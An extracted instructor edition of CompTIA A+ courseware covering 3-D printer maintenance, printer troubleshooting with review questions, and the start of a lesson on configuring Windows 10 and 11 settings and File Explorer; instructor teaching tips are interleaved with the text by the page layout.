Follow the manufacturer’s instructions to replace the print head. Take care, as the
print head may become very hot during use.

3-D Printer Maintenance

A 3-D print process builds a solid object from successive layers of material. The Show
material is typically some sort of plastic, but there are printer types that can work Slide(s)
with rubber, carbon fiber, or metal alloys too. 3-D Printer
3-D printing has very different use cases to printing to paper. It is most widely Maintenance
used in manufacturing, especially to create proof-of-concept working models from Interaction
designs. The range of other applications is growing, however. For example, 3-D Opportunity
printing can be used in healthcare (dentistry and prosthetics), the clothing industry,
It's probably not
and to make product samples and other marketing material. practical to attempt a
demonstration of 3-D
printing, but if you do
have the equipment
available and enough
spare class time,
learners will certainly
benefit from it.

A 3-D printer. (Image by © 123RF.com)

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3-D Printer Imaging Process

The 3-D printer imaging process begins with either a scan of an existing object or
by creating a design using 3-D modeling software. From either of these methods,
you end up with a 3-D model created in software and saved to a 3-D model format.
The model is rendered into discrete horizontal layers or slices. The slicing software
might be contained in the 3-D modeling software or within the 3-D printer.
The result is a print job specifying how each layer in the finished object is to be
deposited.
The sliced model is then fed to the 3-D printer over a USB or Wi-Fi connection or
by inserting an SD card containing the file into the printer. The printer then melts a
filament and extrudes it onto the build surface, creating layer upon layer based on
the slices. The extruder (and sometimes the build bed) is moved as needed on X/Y/Z
axes to create the build.

3-D Printer Components

There are several types of 3-D printers. Fused filament fabrication (FFF), also
known as fused deposition modeling (FDM), lays down layers of filament at a high
temperature. As layers are extruded, adjacent layers are allowed to cool and bond
together before additional layers are added to the object. The main components in
an FDM 3-D printer are:
• Print bed/build plate—a flat glass plate onto which the material is extruded.
The bed is usually heated to prevent the material from warping. The bed must
be leveled for each print job—this is usually automated, but cheaper printer
models require manual calibration. It is very important that the printer frame be
strong and rigid enough to keep the bed as stable as possible. Any vibration will
result in poor-quality printing.

• Bed/build surface—a sheet placed onto the base plate to hold the object in
position while printing but also allow its removal on completion. The bed surface
material may need to be matched to the filament material for best results.

• Extruder—the equivalent of a print head in an inkjet. A motor in the extruder

draws filament from the “cold end” through to the nozzle (or “hot end”), where it
is melted and squirted onto the object. Different-size nozzles can be fitted to the
extruder.

• Gears/motors/motion control—enable precise positioning of the extruder.

• Fan—cools the melted plastic where necessary to shape the object correctly.

The printer must be installed in a suitable environment. A stable, vibration-free

floor and dust-free, humidity-controlled surroundings will ensure best results.

3-D printing involves several possible safety risks. Components work at high
temperatures, and use of sharp tools such as scrapers and finishing knives is required.
Ideally, the 3-D print facility should be accessible only to trained users.

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Filament
The “ink” for a 3-D printer is supplied as a spool of filament. Filament is provided
in a diameter of either 1.75 mm or 3 mm. There are various filament materials.
The two most popular plastics are polylactic acid (PLA) and acrylonitrile butadiene
styrene (ABS). Most printers can use a range of filament types, but it is best to check
compatibility if a specific “exotic” is required for a project. Each material operates at
different extruder and print-bed temperatures.
To change a filament, the extruder must be heated to the appropriate temperature.
Pull as much of the old filament out as possible—taking care not to burn yourself—
then push the new filament through. Do not start printing until all the old filament
has been pushed out.
Filament spools require careful storage once opened. They should be kept free Teaching
from heat and humidity. Tip
Explain that the
Resin and Other 3-D Printer Types media types are not
interchangeable. A
There are two other common types of 3-D printer. These use different materials 3-D printer designed
than filament: for use with filament
cannot be used for
• Stereolithography (SLA) uses liquid plastic resin or photopolymer to create SLA or SLS.
objects which are cured using an ultraviolet laser. Excess photopolymer is stored
in a tank under the print bed. The print bed lowers into the tank as the object is
created. A liquid solvent removes uncured polymer after the model is finished.

• Selective laser sintering (SLS) fuses layers together using a pulse laser. The object
is created from a powder and lowered into a tank as each layer is added. The
powder can be plastic or metal.

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Review Activity:
Print Device Consumables
8

Show Answer the following questions:

Slide(s)
Review

Teaching 1. What must you do before installing a new toner cartridge into a printer?
Tip
Take some time at Remove the packing strips. The printer should also be turned off, and the old
the end of each topic cartridge should be removed and placed into a sealed bag for recycling.
to answer questions.
You can use the 2. Which components are provided as part of a laser printer maintenance
review questions kit?
for discussion in
class or set them for The main component is a new fuser assembly. The kit will also usually contain a
students to complete transfer/secondary charge roller plus paper transport rollers for each tray (pickup
individually during or
after class.
rollers and a new separation pad).

3. What types of paper/stationery can dot matrix printers use that laser
and inkjet printers cannot?

Multi-part or continuous tractor-fed stationery and carbon copy paper.

4. You have been asked to perform basic maintenance on a printer in the

Research and Development area. The dot matrix printer used to create
shipping documents seems to be printing lighter than normal, and one
of the pins seems to not be connecting near the center of the print head
as there are blank areas in some letters and images. What maintenance
should you perform?

Using the steps in the printer documentation, replace the ribbon in the printer and
clean the print head. If this does not fix the problem, replace the print head.

5. A thermal printer used to create labels for parts bins, kits, and boxes
is jammed due to a label coming loose during printing. How should you
resolve this problem?

Open the printer and locate the label that came off the backing. Remove the label,
and if there is any sticky residue, clean it with isopropyl alcohol (IPA) applied to a
swab. Ensure the roll of labels is properly loaded and that there are no loose labels
that might come loose again.

6. What considerations for locating a 3-D printer do you have to make?

The 3-D print process is sensitive to movement and vibration, so the printer must
be located on a firm and stable surface. The process can also be affected by dust
and the ambient temperature and humidity (especially variations and drafts).
Finally, some printer types are fully exposed, so there is some risk of burns from the
high-heat elements. Ideally, the printer should not be accessible to untrained staff.

Lesson 9: Supporting Print Devices | Topic 9B

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Topic 9C
Troubleshoot Print Device Issues
7

CORE 1 EXAM OBJECTIVES COVERED Show

5.6 Given a scenario, troubleshoot and resolve printer issues. Slide(s)
Troubleshoot Print
Device Issues
Users often need to print documents urgently. When the print process fails, it can Teaching
cause a great deal of disruption. Users will look to you to identify and resolve their Tip
problems quickly, so you will need to recognize common issues and to correct them
Work through each
efficiently when they occur. symptom to identify
the range of potential
Printer Connectivity Issues causes.

A printer connectivity issue might arise either because the device cannot be located Show
when trying to install it or because the OS reports an installed device as offline or Slide(s)
unavailable. Printer Connectivity
In many cases there will be an error message or code displayed on the print device’s Issues
control panel. You may need to look the error code up in the printer documentation
Teaching
to confirm what it means. In the absence of any error code or descriptive error log,
Tip
remember to test obvious things first:
Connectivity isn’t
• Verify that the printer is switched on and online. A printer can be taken offline actually a content
quite easily by pressing the button on the control panel. Often this happens by example, but it is
accident. A printer may also go offline because it is waiting for user intervention, worth discussing
it has detected a network error, or because it has received corrupt print job data. as a general
introduction to printer
troubleshooting.
• Check that all components and cartridges are correctly installed, that all service
Encourage students
panels are closed, and that at least one tray is loaded with paper. to refer back to the
troubleshooting
• Print a test page using the printer’s control panel. If this works, the issue lies with model and apply a
the connection to the computer/network. methodical approach
to identifying the
• Cycle the power on the print device. If this does not solve the issue, consider problem: distinguish
performing a factory reset. between OS/printer
connectivity issues
• Inspect the USB/Ethernet cable and connectors. Consider replacing with a and print device/
known good cable to test for a cable or connector problem. If possible, attempt media issues.
a different connection type. For example, if a wireless printer is not detected, try
connecting to a computer via USB or using an Ethernet cable.

Remember to ask: "What has changed?" It is important to establish whether something

has never worked or has just stopped working. If something never worked, then
there has been an installation error; if something has stopped working, look for a
configuration change or maintenance issue.

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Print Feed Issues

Show If there is connectivity with the print device but multiple jobs do not print, there is
Slide(s) likely to be a mechanical problem with the printer.
Print Feed Issues
Paper Jam Issues
A paper jam is where a sheet of paper becomes lodged somewhere in the paper
path. Fixing a paper jam is usually quite straightforward. The key point is to gain
proper access to the stuck page. Do not use force to try to remove a sheet as
you may cause further damage. Most sheets will pull free from most parts of the
printer, but if a page is stuck in the fuser unit of a laser printer, you must use the
release levers to get it out. Pulling the paper forcibly through the fuser can damage
the rollers and, if the paper rips, leave paper debris on them.

The printer control panel should identify the location of the paper jam. (Image courtesy of CompTIA.)

If paper jams are frequent, you need to diagnose the problem rather than simply fix
the symptom each time. Most paper jams arise because the media (paper or labels)
are not suitable for the printer or because a sheet is creased, folded, or not loaded
properly in the tray. There could be a problem with a roller too. Identify whether or
not the jam occurs in the same place each time, and take appropriate preventive
maintenance (clean or replace the part).

If the media and pickup rollers are good and if the jam occurs within the drum
assembly but before the image is fused, the cause could be a faulty static eliminator.
Normally, this part removes the high static charge from the paper as it leaves the
transfer unit. If the strip fails, the paper may stick to the drum or curl as it enters the
fuser unit.

With an inkjet, it is usually easy to see exactly where the paper has jammed. If the
sheet will not come out easily, do not just try to pull it harder—check the instruction
manual to find out how to release any components that might prevent you from
removing the paper.

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Paper Feed Issues

If paper is not feeding into the printer or if the printer is feeding multiple sheets
at the same time, make the following checks:
• Verify that the paper size and weight is compatible with the options allowed
for the print tray and that it is loaded in the tray properly with the media guides
set properly.

• Check that the paper is not creased, damp, or dirty.

Fan the edge of a paper stack with your thumb to separate the sheets before loading the
tray. Do not overdo this, however—you can generate a static charge that will hold the
sheets together.

• If you can discount a media problem, try changing the pickup rollers. In a laser
printer, these are part of the maintenance kit.

Grinding Noise Issues

On a laser printer, a grinding noise indicates a problem with the toner cartridge,
fuser, or other gears/rollers. Try to identify the specific source of the noise. Check all
components to ensure they are seated correctly. Check the paper path carefully for
jams and debris. If this does not solve the issue, replace either the printer cartridge
or maintenance kit (or both).
On an inkjet, a grinding noise typically indicates a fault in the carriage mechanism.
Check the vendor documentation for tips on re-engaging the clutch mechanism
with the gear that moves the cartridge.

Print Quality Issues

If a job prints but the output is smudged, faded, or arrives with unusual marks Show
(print defects), the problem is likely to be a printer hardware or media fault. The Slide(s)
causes of print defects tend to be specific to the technology used by the imaging Print Quality Issues
process. Always consult the manufacturer’s documentation and troubleshooting
notes. Teaching
Tip
Laser Printer Print Defects Help students to
understand how
The following defects are common in laser printers: these symptoms
can be linked to a
• Faded or faint prints—If a simple cause such as the user choosing an option for
specific type of print
low density (draft output) can be discounted, this is most likely to indicate that process or laser
the toner cartridge needs replacing. printer subsystem/
component.
• Blank pages—This is usually an application or driver problem, but it could
indicate that a toner cartridge has been installed without removing its packing
seals. Alternatively, if these simple causes can be discounted, this could also be a
sign that the transfer roller is damaged (the image transfer stage fails).

• White stripes—This indicates either that the toner is poorly distributed (give the
cartridge a gentle shake) or that the transfer roller is dirty or damaged.

• Black stripes or whole page black—This indicates that the primary charge
roller is dirty or damaged or that the high voltage power supply to the developer
unit is malfunctioning. Try printing with a known good toner cartridge.

• Speckling on output—Loose toner may be getting onto the paper. Clean the
inside of the printer using an approved toner vacuum.

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• Vertical or horizontal lines—Marks that appear in the same place (referred

to as repetitive defects) are often due to dirty feed rollers (note that there
are rollers in the toner cartridge and fuser unit too) or a damaged or dirty
photosensitive drum.

• Toner not fused to paper—Output that smudges easily indicates that the fuser
needs replacing.

• Double/echo images—This is a sign that the photosensitive drum has not been
cleaned properly. The drum is smaller than the size of a sheet of paper, so if the
latent image is not completely cleared, it will repeat as a light “ghost” or dark
“shadow” image farther down the page. Images may also appear from previous
prints. Try printing a series of different images, and see if the problem resolves
itself. If not, replace the drum/toner cartridge.

• Incorrect chroma display—If prints come out in the wrong color (for example,
if the whole print has a magenta tint), ensure that the toner cartridges have been
installed in the correct location (for instance, that a magenta cartridge hasn’t
been installed in the cyan slot). Also ensure that there is sufficient toner in each
cartridge. If there is a cast or shadow-like effect, the transfer belt or one or all of
the cartridges or rollers are probably misaligned. Try reseating them, and then
run the printer calibration utility and print a test page to verify the problem is
solved.

• Color missing—If a color is completely missing, try replacing the cartridge. If this
does not solve the issue, clean the contacts between the printer and cartridge.

Inkjet Print Defects

Lines running through printouts indicate a dirty print head or blocked ink nozzle,
which can usually be fixed by running a cleaning cycle. Most other print quality
problems (output that smears easily, wavy or wrinkled output, or blurry output)
is likely to be a media problem. As with laser printers, persistent marks on output
probably indicate a dirty feed roller. If the print head jams, the printer will probably
display a status message or show a flashing LED. Try turning the printer off and
unplugging it, then turning it back on. Inconsistent color output indicates that
one of the ink reservoirs is running low (or that a print head for one of the color
cartridges is completely blocked). If a document does not print in color, check that
color printing has been selected.

Dot Matrix Print Defects

Lines in dot matrix printer output indicate a stuck pin in the print head. Output
can also be affected by the platen position. The platen adjusts the gap between
the paper and the print head to accommodate different paper types. Incorrect
adjustment of the platen gap can cause faint printing (gap too wide) or smudging
(too narrow).

Finishing Issues
Show A finisher unit can be installed on laser printers and MFDs to perform various
Slide(s) functions, including stapling the pages of a print job or punching holes in the sheets
Finishing Issues so that they can be placed in a binder. The printer settings must be configured to
select the finisher as an installed output option.
• Incorrect page orientation—The paper size and orientation must be set correctly
for the print job or the finishing/binding will be aligned to the wrong edge. It can
be tricky for users to paginate the source document and select the correct output
options, especially when using a booklet print option to apply staples to the middle

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of the sheet. The icon in the printing preferences dialog will show which edge is
selected for binding. Test settings on a short document first.

The Finishing tab in Printing Preferences allows you to select orientation and duplex output (this
printer allows only manual duplex, where the stack must be flipped by the user and reinserted into
the paper tray manually). You can also configure booklet layout. Note the icon showing which edge
is used for binding. (Screenshot courtesy of Microsoft.)

• Hole punch—The main issue with hole punching is exceeding the maximum
number of sheets. This can cause the finishing unit to jam. Make sure print jobs
are sent in batches of less than the maximum permissible sheet count for the
finisher unit. Be aware that the maximum number of sheets may depend on the
paper weight (sheet thickness).

• Staple jam—An excessive number of sheets is also the primary cause of staple
jams. One staple will become bent and stuck within the punch mechanism.
Remove the staple cartridge, and release the catch at the end to allow removal
of stuck staples.

Print Job Issues

If there is no hardware or media issue, investigate the OS print queue and driver Show
settings. Slide(s)
Print Job Issues
Print Monitors
Teaching
In Windows, display and print functions for compatible applications are usually
Tip
handled by the Windows Presentation Foundation (WPF) subsystem. A WPF print
It’s always nice to end
job is formatted using the PDL and spooled in the logical printer’s spool folder
a PC support course
within %SystemRoot%\System32\Spool\Printers\. with the advice to try
The print monitor transmits the print job to the printer and provides status turning it off then on
again…
information. If a problem is encountered during printing, the print device sends a
status message back to the print monitor, which displays a desktop notification.

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If the print device is accessed over the network, a redirector service on the local
computer passes the print job from the locally spooled file to the spooler on the
print server. The print server then transmits it to the print device.

Print Queue and Spooler Troubleshooting

A backed-up print queue means that there are multiple prints pending but not
printing. This might occur because the print device is offline or out of paper or
ink/toner. It could also occur because of an error processing a particular print job.
In Windows, go to Windows Settings to access the printer and open its print queue.
Try restarting the job (right-click the document name and select Restart). If that
does not work, delete the print job, and try printing it again.

Use the print queue to manage jobs—in this instance, you should be loading the printer with some
paper rather than trying to restart the print job. (Screenshot courtesy of Microsoft.)

If you cannot delete a job (if the print queue is backed up or stalled), you will need
to stop and restart the Print Spooler service.

The same steps apply to a shared printer. The server’s print queue will hold jobs from
multiple users.

Garbled Print Issues

A garbled print is one where the print device emits many pages with a few
characters on each or many blank pages. This typically occurs because of a fault
in rendering the print job somewhere in the path between the application, printer
driver, page description language, and print device. To discount a transitory error,
cancel the print job, clear the print queue, cycle the power on the printer (leaving it
off for 30 seconds to clear the memory), and try to print again.
Use the OS to print a test page. If the test page prints successfully, then the problem
is related to the print function of a particular application. Try printing a different file
from the same application; if this works, then you know that the problem is specific
to a particular file. If the test page does not print, try using the printer’s control
panel to print a test page directly from the device. If this works, there is some sort
of communication problem between the print device and Windows.
If the problem persists, update the printer driver, and check that the printer is set to
use a PDL (PCL or PostScript) that is supported by the source application.
If the characters in a document are different from those expected or if strange
characters appear in an otherwise normal print, check that fonts specified in the
document are available on the PC and/or printer. The software application should
indicate whether the specified font is available or whether it is substituting it for the
nearest match.

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Review Activity:
Print Device Issues
8

Answer the following questions:

1. A user reports that the printed output is not up to the usual standards Show
for her printer. You will need to resolve this issue so she can print her Slide(s)
report. What is the overall process for troubleshooting this issue? Review

Print out a test page to see if you can reproduce the problem the user reported. If Teaching
you see the same problem as reported by the user, identify the print defect, based Tip
on the type of printer, to resolve the problem. Document the steps you took to
Take some time at
resolve the problem. the end of each topic
to answer questions.
2. How would you track down the source of a paper jam? You can use the
review questions
Check the error message reported by the printer (this may be shown on the for discussion in
printer’s console). It may indicate the location of the stuck pages. Otherwise, visually class or set them for
inspect the various feed and output mechanisms. students to complete
individually during or
3. Paper is repeatedly jamming in an inkjet printer. What could be causing after class.
this?

The paper might not be loaded squarely, there might be too much paper loaded
into the tray, or the paper is creased or dirty.

4. A laser printer is producing white stripes on the paper. What could be

causing this?

Poorly distributed toner or a damaged/worn transfer corona wire. If the secondary

corona does not apply a charge evenly across the paper, less toner is attracted
from the drum to the part of the sheet where charging failed. Note that if there are
repetitive white or black marks (rather than stripes) that do not smudge, the issue is
more likely to be dirt or grease on the drum.

5. What effect does a dirty primary charge roller have on laser printing?

It leaves black stripes on the paper. If the roller does not apply the correct charge
evenly to the drum, toner is attracted to the place where the charging failed,
creating a black stripe all the way down the page.

6. You have been asked to perform basic maintenance on an inkjet printer.

One of the users noticed that the colors are not printing correctly and
that the bottom of some letters are not printing. What would you do?

Try using the printer’s built-in cleaning cycle and then replacing the ink cartridge. If
these do not work, try using an aftermarket cleaning product. Try using the printer
properties sheet to check for print head alignment, color settings, and other settings.

7. If print jobs do not appear at the printer and the queue is clear, what
could you try first to solve the problem?

Cycle the power on the printer.

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Lesson 9
Summary
8

Show You should be able to deploy, maintain, and troubleshoot printers and
Slide(s) multifunction devices.
Summary
Guidelines for Supporting Print Devices
Teaching
Follow these guidelines to support the use of print and scan services in your
Tip
organization:
Try to include some
time at the end • Ensure that operational procedures account for selection of an appropriate
of each lesson to printer type, setup location, and unboxing to meet end-user and print
check students' application requirements.
understanding and
answer questions. • Identify an appropriate printer networking model (direct to print device versus
Interaction sharing via print server), make drivers available to the range of clients, configure
Opportunity appropriate defaults for printer properties and printing preferences, and ensure
that appropriate options are applied to protect the security and privacy of output
If you don’t have the
option of running any
(such as authentication to use the printer and use of secured print options).
workbench labs for
printer installation
• Create work instructions and prepare inventory for tasks relating to supported
and troubleshooting, printer types:
get students to
review the support • Laser imaging drum, pickup rollers, separation pads, transfer roller/belt,
documentation for fuser assembly, duplexing assembly, toner and maintenance kit replacement,
different printer calibration, and cleaning.
models. The following
represent some • Inkjet cartridge, print head, roller, feeder, duplexing assembly, carriage belt,
common printer types: cleaning, cartridge replacement, and calibration.
• HP LaserJet
Enterprise MFP • Direct thermal feed assembly, heating element, special thermal paper, and
M830 (office laser cleaning.
printer)
• HP LaserJet • Impact printer print head, ribbon, tractor feed and impact paper, and ribbon
Enterprise and print head replacement.
Finishing
Accessories • 3-D printer print bed and filament versus resin types.
• Canon PIXMA
TS8350 (SOHO
• Establish a knowledge base to document common issues, such as lines down
inkjet) the printed pages, garbled print, toner not fusing to paper, paper jams, faded
• Espon SureColor
print, incorrect paper size, paper not feeding, multipage misfeed, multiple prints
SC-T3405 large pending in queue, speckling on printed pages, double/echo images on the print,
format inkjet incorrect chroma display, grinding noise, finishing issues, and incorrect page
• Epson PLQ-50M orientation.
dot matrix printer
• Brother TD- Additional practice questions for the topics covered in this lesson are available on the
4420TN direct CompTIA Learning Center.
thermal label
printer
• Dremel DigiLab
3D45 3D filament
printer

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 Lesson 10
Configuring Windows
1

LESSON INTRODUCTION
The operating system (OS) is the software that provides a user interface to the Show
computer hardware and provides an environment in which to run software Slide(s)
applications and create computer networks. As a professional IT support Objectives
representative or PC service technician, your job will include installing, configuring,
maintaining, and troubleshooting personal computer (PC) operating systems. Teaching
Tip
Before you can perform any of these tasks, you need to understand the basics of
what an operating system is, including the various versions, features, components, The first part of
the Core 2 course
and technical capabilities. With this knowledge, you can provide effective support
covers Windows
for all types of system environments. configuration settings
In this lesson, you will learn how the basic administrative interfaces for Microsoft® and management
tools. While the focus
Windows 10® and Microsoft® Windows 11® can be used to configure user and is on Windows 10,
system settings. make students aware
of Windows 11. Many
of the basic user
Lesson Objectives and administration
interfaces are the
In this lesson, you will: same in both versions.
• Configure Windows user settings.

• Configure Windows system settings.

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Topic 10A
Configure Windows User Settings
2

Show CORE 2 EXAM OBJECTIVES COVERED

Slide(s) 1.4 Given a scenario, use the appropriate Microsoft Windows 10 Control Panel utility.
Configure Windows 1.5 Given a scenario, use the appropriate Windows settings.
User Settings
A computer requires an operating system (OS) to function. The OS provides the
Teaching
interface between the hardware, application programs, and the user. The OS
Tip
handles many of the basic system functions, such as interaction with the system
This topic focuses hardware and input/output.
on user account and
desktop settings plus In this topic, you will use the Windows Settings and Control Panel interfaces plus file
use of File Explorer. management tools to configure user and desktop options on computers running
Windows 10 and Windows 11.

Windows Interfaces
Show An OS is made up of kernel files and device drivers to interface with the hardware
Slide(s) plus programs to provide a user interface and configuration tools. The earliest
Windows Interfaces operating systems for PCs, such as Microsoft’s Disk Operating System (DOS), used
a command-line user interface or simple menu systems. Windows and software
Teaching applications for Windows were marked by the use of a graphical user interface
Tip (GUI). This helped to make computers easier to use by non-technical staff and
If necessary, recap home users.
the main elements
of the Windows
The GUI desktop style favored by a particular OS or OS version is a powerful factor
interface. Students in determining customer preferences for one OS over another.
should be familiar
with basic Windows Windows 10 Desktop
operation (using
the Start menu and One of the main functions of an OS is to provide an interface (or shell) for the user
taskbar and managing to configure and operate the computer hardware and software. Windows has
desktop windows), several interface components designed both for general use and for more technical
but be prepared
to demonstrate
configuration and troubleshooting.
these procedures if
students have no prior
experience at all.

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The top level of the user interface is the desktop. This is displayed when Windows
starts, and the user logs on. The desktop contains the Start menu, taskbar, and
shortcut icons. These are all used to launch and switch between applications.
Windows 10 uses a touch-optimized Start menu interface. The Start menu is
activated by selecting the Start button or by pressing the START or Windows logo
key on the keyboard.

Windows 10 (21H2) desktop and Start menu. (Screenshot courtesy of Microsoft.)

As well as the Start button, the taskbar contains the Instant Search box, Task View
button, and notification area. The notification area contains icons for background
processes. The middle part of the taskbar contains icons for apps that have an open
window. Some app icons can also be pinned to the taskbar. The taskbar icons are
used to switch between program windows.

It is worth learning the keyboard shortcuts to navigate the desktop and program
windows quickly. A complete list is published at support.microsoft.com/en-us/windows/
keyboard-shortcuts-in-windows-dcc61a57-8ff0-cffe-9796-cb9706c75eec.

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Windows 11 Desktop
Teaching Windows 11 refreshes the desktop style by introducing a center-aligned taskbar,
Tip better spacing for touch control, and rounded corners. It also makes the multiple
Review the main UI desktops feature more accessible. Multiple desktops allow the user to set up
changes introduced different workspaces, such as one desktop that has windows for business apps
in Windows 11. Note open and another with windows and shortcuts for personal apps and games.
that the left alignment
of the taskbar can be
reapplied by adjusting
its properties.

Windows 11 desktop and Start menu. (Screenshot courtesy of Microsoft.)

Windows Settings and Control Panel

Show The Windows Settings app and Control Panel are the two main interfaces for
Slide(s) administering Windows. Administering an OS means configuring options, setting
Windows Settings up user accounts, and adding and removing devices and software. All Windows
and Control Panel configuration data is ultimately held in a database called the registry. Windows
Settings and Control Panel contain graphical pages and applets for modifying these
Teaching configuration settings.
Tip
Explain that Settings Windows Settings
is the newer touch-
compatible interface. Windows Settings is a touch-enabled interface for managing Windows. The
Note that there Settings app is the preferred administrative interface. Configuration option “pages”
are some layout are divided between a few main headings.
differences between
Windows 10 and
Windows 11.

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Home page in the Windows 10 Settings app showing the top-level configuration headings
or groups. (Screenshot courtesy of Microsoft.)

In Windows 11, the Settings app has no “home” page. Use the Menu icon to navigate
between the headings groups:

Settings apps in Windows 11. (Screenshot courtesy of Microsoft.)

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Control Panel
Teaching Most of the standard Windows 10 and Windows 11 configuration settings can
Tip be located within Windows Settings, but not all of them. Some options are still
Explain that Control configured via the legacy Control Panel interface.
Panel is the legacy Each icon in the Control Panel represents an applet used for some configuration
interface. Each feature
update tends to move
tasks. Most applets are added by Windows, but some software applications, such as
more configuration antivirus software, add their own applets.
options from Control
Panel to Settings.

Windows 10 Control Panel. (Screenshot courtesy of Microsoft.)

Show Accounts Settings

Slide(s)
Accounts Settings A user account controls access to the computer. Each account can be assigned
rights or privileges to make OS configuration changes. Accounts can also be
Teaching assigned permissions on files, folders, and printers.
Tip A user account is protected by authenticating the account owner. Authentication
As you work through means that the person must provide some data that is known or held only by the
each configuration account owner to gain access to the account.
utility, focus on
explaining what type Each user account is associated with a profile. The profile contains default folders
of settings can be for personal documents, pictures, videos, and music. Software applications might
changed and why you also write configuration information to the profile.
might need to use it.
Do not try to identify The first user of the computer is configured as the default administrator account.
every individual option An administrator account has privileges to change any aspect of the system
or sub-page. configuration. Additional accounts are usually configured as standard users.
Note that we will Standard users have privileges on their profile only, rather than the whole
be returning to computer.
the subject of user
accounts and system
privileges later in the
course, so just give
an overview of the
settings available here.

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Accounts Settings
A Windows account can either be configured as a local-only account or linked to
a Microsoft account. A local account can be used to sign-in on a single computer
only. A Microsoft account gives access to Microsoft’s cloud services and allows
sign-in and syncs desktop settings and user profile data across multiple devices.
The Accounts settings app is used for the following configuration tasks:
• Your info—Manage the current user account. If the account type is a Microsoft
account, this links to a web portal.

• Email & accounts—Add sign-in credentials for other accounts, such as email or
social networking, so that you can access them quickly.

• Configure sign-in options—Use a fingerprint reader or PIN to access the

computer rather than a password. The computer can also be set to lock
automatically from here.

• Access work or school—Join the computer to a centrally managed domain

network.

• Family and other users—Permit other local or Microsoft accounts to log on

to the computer. Generally speaking, these accounts should be configured as
standard users with limited privileges.

• Sync settings—Use the cloud to apply the same personalization and

preferences for each device that you use a Microsoft account to sign
in with.

User Accounts Control Panel Applet

The User Accounts applet in Control Panel is the legacy interface. It cannot be
used to add new accounts but does provide options for adjusting the account name
and changing the account privilege level between administrator and standard
user. It can also be used to change the User Account Control (UAC) settings. UAC
is a system to prevent unauthorized use of administrator privileges. At the default
setting level, changing an administrative setting requires the user to confirm a
prompt or input the credentials for an administrator account.

User Accounts applet. (Screenshot courtesy of Microsoft.)

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Privacy Settings
Show Privacy settings govern what usage data Windows is permitted to collect and
Slide(s) what device functions are enabled and for which apps. There are multiple settings
Privacy Settings toggles to determine what data collection and app permissions are allowed:
• Data collection allows Microsoft to process usage telemetry. It affects use of
Teaching speech and input personalization, language settings, general diagnostics, and
Tip activity history.
Note that these
options are chosen • App permissions allow or deny access to devices such as the location service,
when the account is camera, and microphone and to user data such as contacts, calendar items,
created but can be email, and files.
reconfigured here.

General privacy settings. (Screenshot courtesy of Microsoft.)

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Desktop Settings
The desktop can be configured to use locale settings and personalized to adjust its Show
appearance. Slide(s)
Desktop Settings
Time & Language Settings
Teaching
The Time & Language settings pages are used for two main purposes:
Tip
• Set the correct date/time and time zone. Keeping the PC synchronized to an You shouldn’t need
accurate time source is important for processes such as authentication and to go into detail, but
backup. note the importance
of setting the date/
• Set region options for appropriate spelling and localization, keyboard input time correctly. Also
method, and speech recognition. Optionally, multiple languages can be explain the toggle
where multiple input
enabled. The active language is toggled using an icon in the notification area
methods have been
(or START+SPACE). configured.

Language settings. Note the ENG button in the taskbar. This can be used to switch between
input methods. (Screenshot courtesy of Microsoft.)

Personalization Settings
The Personalization settings allow you to select and customize themes, which set
the appearance of the desktop environment. Theme settings include the desktop
wallpaper, screen saver, color scheme, font size, and properties for the Start menu
and taskbar.

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Ease of Access Settings

Show Ease of Access settings configure input and output options to best suit each user.
Slide(s) There are three main settings groups:
Ease of Access • Vision configures options for cursor indicators, high-contrast and color-filter
Settings
modes, and the Magnifier zoom tool. Additionally, the Narrator tool can be used
to enable audio descriptions of the current selection.
Teaching
Tip • Hearing configures options for volume, mono sound mixing, visual notifications,
Explain the and closed-captioning.
importance of
setting up assistive • Interaction configures options for keyboard and mouse usability. The user can
technologies for those also enable speech- and eye-controlled input methods.
who require them.

Ease of Access display settings. (Screenshot courtesy of Microsoft.)

Ease of Access can be configured via Settings or via Control Panel. In Windows 11, these
settings are found under the Accessibility heading.

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File Explorer
File management is a critical part of using a computer. As a computer support Show
professional, you will often have to assist users with locating files. In Windows, file Slide(s)
management is performed using the File Explorer app. File Explorer enables you to File Explorer
open, copy, move, rename, view, and delete files and folders.
Teaching
File Explorer is often just referred to as "Explorer," as the process is run from the file Tip
explorer.exe.
File management isn’t
a content example,
but do make sure
students understand
the organizational
principles behind
File Explorer, such
as the local profile
folders, local drives
and folders, network
locations, and
integration with
OneDrive. Stress the
distinction between
system objects and
the underlying drives
and directories.
You might also want
to discuss roaming
profiles. Home folders
and folder redirection
are covered later in
the course.

File Explorer in Windows 10. (Screenshot courtesy of Microsoft.)

System Objects
In Windows, access to data files is typically mediated by system objects. These are
shown in the left-hand navigation pane in File Explorer. Some of the main system
objects are:
• User account—Contains personal data folders belonging to the signed-in
account profile. For example, in the previous screenshot, the user account is
listed as “James at CompTIA.”

• OneDrive—If you sign into the computer with a Microsoft account, this shows
the files and folders saved to your cloud storage service on the Internet.

• This PC—Also contains the personal folders from the profile but also the fixed
disks and removable storage drives attached to the PC.

• Network—Contains computers, shared folders, and shared printers available

over the network.

• Recycle Bin—Provides an option for recovering files and folders that have been
marked for deletion.

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Drives and Folders

While the system objects represent logical storage areas, the actual data files are
written to disk drives. Within the This PC object, drives are referred to by letters
and optional labels. A “drive” can be a single physical disk or a partition on a disk, a
shared network folder mapped to a drive letter, or a removable disc. By convention,
the A: drive is the floppy disk (very rarely seen these days) and the C: drive is the
partition on the primary fixed disk holding the Windows installation.
Every drive contains a directory called the root directory. The root directory is
represented by the backslash ( \ ). For example, the root directory of the C: drive is
C:\. Below the root directory is a hierarchy of subdirectories, referred to in Windows
as folders. Each directory can contain subfolders and files.

Typical Windows directory structure.

System Files
System files are the files that are required for the operating system to function.
The root directory of a typical Windows installation normally contains the following
folders to separate system files from user data files:
• Windows—The system root, containing drivers, logs, add-in applications, system
and configuration files (notably the System32 subdirectory), fonts, and so on.

• Program Files/Program Files (x86)—Subdirectories for installed applications

software. In 64-bit versions of Windows, a Program Files (x86) folder is created to
store 32-bit applications.

• Users—Storage for users’ profile settings and data. Each user has a folder
named after their user account. This subfolder contains NTUSER.DAT (registry
data) plus subfolders for personal data files. The profile folder also contains
hidden subfolders used to store application settings and customizations, favorite
links, shortcuts, and temporary files.

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File Explorer Options and Indexing Options

File Explorer has configurable options for view settings and file search. Show
Slide(s)
File Explorer Options File Explorer Options
and Indexing Options
The File Explorer Options applet in Control Panel governs how Explorer shows
folders and files. On the General tab, you can set options for the layout of Explorer
Teaching
windows and switch between the single-click and double-click styles of opening
Tip
shortcuts.
You shouldn’t need
to spend much time
on this. Explain
the concept of file
extensions, and make
sure students know
how to access these
settings.

